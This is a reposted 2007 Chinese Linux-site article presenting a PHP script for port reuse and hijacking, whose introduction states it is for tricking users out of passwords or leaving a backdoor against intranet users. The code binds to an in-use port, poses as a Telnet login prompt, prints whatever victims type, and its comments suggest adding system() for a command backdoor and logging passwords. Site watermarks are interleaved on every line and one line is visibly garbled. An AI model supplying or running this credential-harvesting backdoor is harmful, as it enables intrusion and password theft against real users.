linux社区爱心援助Linux认证系列教程业界动态站务新闻公司招聘建议留言网址大全LPI专题CISCO专题
设为首页
加入收藏
管理团队
JSP  
JAVA  
PERL  
 您的位置:首页 > 开发语言 > php >
栏目导栏
  php
  JSP
  ASP
  asp.net
  JAVA
  c/c++/c#
  perl
  JavaScript
  Basic
  Delphi
资料搜索
热门文章
·PHP生成静态页面的一些经验
·PHP无限分类与树型论坛的实现方
·php5学习笔记
·入门级PHP程序员面试题
·PHP 和 MySQL初学入门
·PHP入门速成
·vim的代码折叠
·文件下载统计php编程代码
·如何建立自己的新闻发布系统
·织梦CMS中文转换拼音函数研究
·Windows下Apache+Tomcat+MySQL
·PHP初学者头疼问题总结
·Cookie及其使用详细介绍
·生成sessionid和随机密码的例子
·使用无限生命期Session的方法
最新文章
·PHP入门速成
·用php实现广告轮播
·Zend Optimizer 问题浅析
·功能强大的CGI语言----PHP3
·用Session对Web页面进行保护
·PHP--进行模块化设计
·如何将PHP的结果输出到非PHP页
·如何开发一个虚拟域名系统
·PHP4调用自己编写的COM组件
·简单的页面缓冲技术(三)
·简单的页面缓冲技术(二)
·简单的页面缓冲技术(一)
·用Socket发送电子邮件(二)
·用Socket发送电子邮件(一)
·PHP/MySQL 购物车
Google
 
PHP下实现端口复用/劫持
[ 作者:  加入时间:2007-12-03 15:54:52  来自:Linux联盟收集整理 ]
假如监听127.0.0.1 ,访问共网IP不受影响,假如监听公网IP,127。0。0。1等IP不受影响。 zbJLinux联盟
  这个可以用于欺骗用户密码,因为原来的服务不可用了。或者留成针对内网用户的后门。 zbJLinux联盟
  最后欢迎加MSN:CQXY[AT]21CN。NET赐教。 zbJLinux联盟
  #!/usr/bin/php -q zbJLinux联盟
  #c0dz by Darkness[BST] zbJLinux联盟
  #Team:www.bugkidz.org zbJLinux联盟
  #E-mail:cqxy[at]21cn.net zbJLinux联盟
  if ($argc != 3 || in_array($argc[1] , array('--help','-h','?'))) zbJLinux联盟
  { zbJLinux联盟
  echo "Use:#./$argv[0] www.bugkidz.org 192.168.0.1 21\r\n"; zbJLinux联盟
  echo "c0dz By Darkness[BST]"; zbJLinux联盟
  exit; zbJLinux联盟
  } zbJLinux联盟
  error_reporting(E_ALL); zbJLinux联盟
   zbJLinux联盟
  set_time_limit(0); zbJLinux联盟
   zbJLinux联盟
  ob_implicit_flush(); zbJLinux联盟
   zbJLinux联盟
  $host = $argv[1]; zbJLinux联盟
  $port = $argv[2]; zbJLinux联盟
  if (($sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) < 0) { zbJLinux联盟
  echo "socket_create() failed: reason: " . socket_strerror($sock) . "\n"; zbJLinux联盟
  } /*建立SOCKET*/ zbJLinux联盟
  socket_set_option($sock,SOL_SOCKET,SO_REUSEADDR,1); /*设置SOCKET连接的属性为SO_REUSEADDR,这样才可以端口复用*/ zbJLinux联盟
  if (($ret = socket_bind($sock, $host, $port)) < 0) { zbJLinux联盟
  echo "socket_bind() failed: reason: " . socket_strerror($ret) . "\n"; zbJLinux联盟
  }/*绑定端口*/ zbJLinux联盟
   zbJLinux联盟
  if (($ret = socket_listen($sock, 5)) < 0) { zbJLinux联盟
  echo "socket_listen() failed: reason: " . socket_strerror($ret) . "\n"; zbJLinux联盟
  } /*开始监听*/ zbJLinux联盟
   zbJLinux联盟
   zbJLinux联盟
  while(true) { zbJLinux联盟
   zbJLinux联盟
  if (($sniffer = socket_accept($sock)) < 0) { zbJLinux联盟
  echo "socket_accept() failed: reason: " . socket_strerror($sniffer) . "\n"; zbJLinux联盟
  break; zbJLinux联盟
  } zbJLinux联盟
  if ($port == 23) zbJLinux联盟
  { zbJLinux联盟
  $txt = "Welcome to the Telnet Server\r\n"; zbJLinux联盟
  $txt .="User:\r\n"; zbJLinux联盟
  socket_write($sniffer, $txt, strlen($txt)); zbJLinux联盟
  } /*这里是伪装信息,把自己伪装成原来的TELNET服务器,这样来骗取密码*/ zbJLinux联盟
   zbJLinux联盟
  while(true) { zbJLinux联盟
   zbJLinux联盟
  if(($buf _read($sniffer">=@socket_read($sniffer, 2048, PHP_BINARY_READ)) ==false) zbJLinux联盟
  { zbJLinux联盟
   zbJLinux联盟
  break; zbJLinux联盟
   zbJLinux联盟
  } zbJLinux联盟
   zbJLinux联盟
  if (!$buf = trim($buf)) { zbJLinux联盟
  continue; zbJLinux联盟
  } zbJLinux联盟
   zbJLinux联盟
   zbJLinux联盟
  if ($buf == '!quit') { zbJLinux联盟
  break; zbJLinux联盟
  } zbJLinux联盟
  if ($buf == '!shutdown') { zbJLinux联盟
  socket_close($sniffer); zbJLinux联盟
  break 2; /*其实这里可以调用system(),搞成一个CMD后门,反正你想怎么改都可以*/ zbJLinux联盟
  } zbJLinux联盟
   zbJLinux联盟
  $sniff_data = "$buf\r\n"; zbJLinux联盟
   zbJLinux联盟
  /* else socket_write($sniffer, $sniff_data, strlen($sniff_data));*/ zbJLinux联盟
  echo $sniff_data; zbJLinux联盟
  /*输出字符串,这里可以加进文件处理,保存密码什么的*/ zbJLinux联盟
  } zbJLinux联盟
  socket_close($sniffer); zbJLinux联盟
   zbJLinux联盟
   zbJLinux联盟
  } zbJLinux联盟
  socket_close($resock); zbJLinux联盟
  socket_close($sock); zbJLinux联盟
  ?> zbJLinux联盟
Linux联盟收集整理 ,转贴请标明原始链接,如有任何疑问欢迎来本站Linux论坛讨论
评论】【加入收藏夹】【 】【打印】【关闭
※ 相关链接
 ·PHP和JAVA的XML-RPC中文问题解决办法  (2007-12-03 15:54:04)
 ·使用php的zlib压缩和解压缩swf文件  (2007-11-29 07:29:43)
 ·使用php通过Socket进行发信源码,支持发信认证  (2007-11-28 14:52:50)
 ·PHP巧获服务器端信息  (2007-11-28 14:52:03)
 ·使用"函数递归"实现基于php和MySQL的动态树型菜单  (2007-11-28 14:50:37)
 ·用PHP实现XML备份Mysql数据库  (2007-11-28 14:50:09)
 ·PHP程序员一般都忽略了的几点精华  (2007-11-28 14:49:20)
 ·PHP 5 数据对象 (PDO) 抽象层与 Oracle  (2007-11-28 14:47:52)
 ·php中检查email完整性  (2007-11-28 14:45:59)
 ·利用php和js实现页面数据刷新  (2007-11-28 14:45:10)